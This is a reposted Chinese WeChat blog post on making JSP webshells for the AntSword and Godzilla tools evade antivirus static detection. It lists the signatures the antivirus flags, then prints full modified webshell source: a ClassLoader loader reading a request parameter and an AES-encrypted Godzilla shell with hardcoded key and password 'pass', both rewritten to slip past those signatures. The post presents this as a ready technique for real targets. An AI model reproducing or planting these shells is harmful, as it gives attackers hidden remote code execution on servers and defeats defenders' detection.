|
立即加星标
每周看好文
PART.1
分析特征码
真实环境别这样,你当人家蓝队吃素的么?
AntSword为例,默认生成的 JSP Shell 代码如下
这下子,问题就好办了。这段代码其实是反射了一个Base64的 decode/decodeBuffer 方法,做了一定容错异常处理。
继续看,神兽哥斯拉,它相对来说特征蛮多的,有四个特征且条件是存在其中一种就杀。
先生成个默认的Shell
经过测试,可以发现有4个特征,确实挺有代表性。
m ? 1 : 2
base64Decode # 和蚁剑一样,反射加载杀
base64Encode # 和蚁剑一样,反射加载杀
request.setAttribute("parameters", data);
PART.2
Bypass: 大道至简
既然拦截了反射,那干脆直接不用反射就行了,懂原理其实一切就是那么简单。
蚁剑
直接全称引用就行
return new sun.misc.BASE64Decoder().decodeBuffer(str);
高版本>=11 该类被移除,那就用 java.utils 看情况来就行。
<%!
class INTERMEDIATE extends ClassLoader{
INTERMEDIATE(ClassLoader c){super(c);}
public Class Common(byte[] b){
return super.defineClass(b, 0, b.length);
}
}
public byte[] compile(String str) throws Exception {
return new sun.misc.BASE64Decoder().decodeBuffer(str);
}
%>
<%
String cls = request.getParameter("kPZiQJVy");
if (cls != null) {
new INTERMEDIATE(this.getClass().getClassLoader()).Common(compile(cls)).newInstance().equals(new Object[]{request,response});
}
%>
哥斯拉
用逻辑等价运算搞定,直接Bypass特征就行,代码如下
<%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }
public byte[] x(byte[] s,boolean m){
try{
javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");
int test = 1;
if(!m){
test = 2;
}
c.init(test,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));
return c.doFinal(s);
}catch (Exception e){return null; }
}
public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; }
public static String base64Encode(byte[] bs) throws Exception {
sun.misc.BASE64Encoder b64 = new sun.misc.BASE64Encoder();
return b64.encode(bs);
}
public static byte[] base64Decode(String bs) throws Exception {
sun.misc.BASE64Decoder b64 = new sun.misc.BASE64Decoder();
return b64.decodeBuffer(bs);
}
%>
<%
String hi = new String(base64Decode("cGFyYW1ldGVycw=="));
try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute(hi,data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}%>
PART.3
效果说明
过个静态查杀,不是有手就行?
PART.4
文末小结
经过小小的测试,发现目标杀软是具备主动防御的功能,虽然过掉静态查杀,但是哥斯拉的流量特征会导致只能连接一次Shell就会被删,然后再次进行测试时发现特征码发生了改变。
神奇的事,不单单是改个MD5绕过的问题,杀软而是会选择一些比较有代表性的代码片段作为特征,蚁剑倒是没什么事(也有其他不好的地方),这个情况说明哥斯拉还是太流行了,魔改一下还是有必要的。
最后,让我听听关注我公众号的兄弟姐妹们的心声,还有什么想学的?
往期推荐
Bounty新高度: 大规模 Google Dorking 技术
日挖万洞计划启动!!!
Python 趣事 "is" 的叛逆性
【神器推荐】Gofreeproxy 动态代理池小工具
[实践精品] 新一代内网穿透工具 ligolo-ng
【滴滴道歉】11.27 P0 故障原因公布
SIMPLICITY
关注我,获取更多精彩
点个在看你最好看
原文始发于微信公众号(一个不正经的黑客):有手就行,免杀 JSP 一句话(哥斯拉/蚁剑)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论